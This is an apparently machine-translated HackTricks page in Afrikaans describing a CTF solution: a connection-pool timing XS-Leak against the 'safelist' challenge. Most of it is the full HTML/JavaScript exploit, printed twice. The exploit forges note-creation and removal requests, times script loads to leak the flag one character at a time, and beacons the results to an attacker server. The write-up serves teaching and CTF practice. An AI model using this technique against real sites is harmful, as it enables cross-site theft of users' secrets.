Connection Pool by Destination Example

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Kyk na die subskripsieplanne!
Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

In hierdie uitbuiting, @terjanq stel nog 'n oplossing voor die uitdaging genoem op die volgende bladsy voor:

Kom ons kyk hoe hierdie uitbuiting werk:

Die aanvaller sal 'n nota met soveel <img etikette laai /js/purify.js as moontlik (meer as 6 om die oorsprong te blokkeer).
Dan sal die aanvaller die nota met indeks 1 verwyder.
Dan sal die aanvaller [die bot toegang gee tot die bladsy met die oorblywende nota] en sal 'n versoek na victim.com/js/purify.js stuur wat hy sal tyd.
As die tyd groter is, was die inplanting in die nota wat gelaat is, as die tyd laer is, was die vlag daar.

Eerlik, terwyl ek die skrif gelees het, het ek 'n deel gemis waar die aanvaller die bot laat laai die bladsy om die img etikette te aktiveer, ek sien niks soos dit in die kode nie.

<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}

add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"

let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"

let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

PreviousConnection Pool Examples NextCookie Bomb + Onerror XS Leak

Last updated 3 days ago

<html> <head> <script> const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx" let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() } remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank" let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() } const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } }; </script> </head> <body> </body> </html>